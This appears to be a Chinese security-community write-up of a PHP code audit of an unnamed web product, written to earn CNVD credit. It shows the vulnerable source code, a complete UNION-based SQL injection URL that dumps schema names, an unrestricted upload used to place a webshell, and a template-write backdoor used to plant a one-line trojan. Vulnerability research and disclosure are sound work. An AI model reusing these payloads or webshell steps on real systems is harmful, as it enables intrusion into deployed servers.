记一次PHP代码审计拿下CNVD
本篇文章作者幽壑,本文属i春秋原创奖励计划,未经许可禁止转载。
https://bbs.ichunqiu.com/thread-63544-1-1.html
记一次PHP路由审计
工具:Seay源代码审计系统
0x1 反射型xss
首先进行一个自动化扫描,根据结果进行跟进排查
跟进/user/tpl/_user_import.php文件
可以看到直接输出了多个参数echo $useripcw,echo $cfusername,echo $cfuserip,echo $cfusermac,没什么过滤
我们这里直接传入一个xss语句触发xss
0x2 SQL注入漏洞
跟进/gauserreg/edit_rzfjb.php
<?php
require_once("../session.php");
require_once('../funlist.php');
require_once('../global.func.php');
conn();
if(isset($_GET['id']))
{
$get_id = $_GET['id'];
}
if(isset($_POST['hid_id']))
{
$get_id = $_POST['hid_id'];
}
$sql = "select * from tb_Web_Addition where id = $get_id";
$result = mysql_query($sql);
$data = @mysql_fetch_array($result);
$name = $data['name'];
//echo $name;
$sex = $data['sex'];
$type = $data['type'];
$certificate_no = $data['certificate_no'];
$check_in_time = $data['check_in_time'];
$web_id = $data['web_id'];
require_once("tpl/_edit_rzfjb.php");
……
通过get或者post方式获得get_id参数,直接带入了查询
构造sql语句/gauserreg/edit_rzfjb.php?id=1%20union%20select%201,2,3,4,5,6,(select%20group_concat(SCHEMA_NAME)%20from%20information_schema.SCHEMATA),8
select 1 union select 1,2,3,4,5,6,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),8 from tb_Web_Addition where id = $get_id"
0x3 文件上传getshell
一处文件上传,代码如下
……
if(isset($_POST['uppictxt']))
{
if($_FILES['upfile']['tmp_name'])
{
$file_upload = $_FILES['upfile']['tmp_name'];
$file_upload_name = $_FILES['upfile']['name'];
if(!file_exists("/jffs2/webauth/img"))
{
exec("mkdir -p /jffs2/webauth/img/");
}
chdir("/jffs2/webauth/img/");
if(!copy($file_upload,"/jffs2/webauth/img/$file_upload_name"))
{
alert($LANG_OPT_FAILD,"edit_alive.php");
exit();
}
}
$uploadfile = true;
……
检测images目录是否存在,不存在则创建目录
然后将上传的文件保存到/jffs2/webauth/images/$file_upload_name目录
上传post.php文件
访问上传的shell文件
0x4 前台RCE
在进行阅读代码时发现一个疑似后门的文件
if(isset($_POST['previewtxt']))
{
$index = $_POST['previewtxt'];
$index = str_replace("<","<",$index);
$index = str_replace(">",">",$index);
$index = stripslashes($index);
$fp = fopen("/usr/hddocs/nsg/template/___index.php","w");
fwrite($fp,$index);
fclose($fp);
……
该文件通过fwrite将传入的参数写入了/usr/hddocs/nsg/template/_index.php
文件
尝试写入一句话木马
访问小马验证执行
关于CNVD要求
1、为中危及以上,评分大于4.0
2、注册资产大于5000万
3、并且测试案例要大于10,并且写出至少3例完整复现过程
附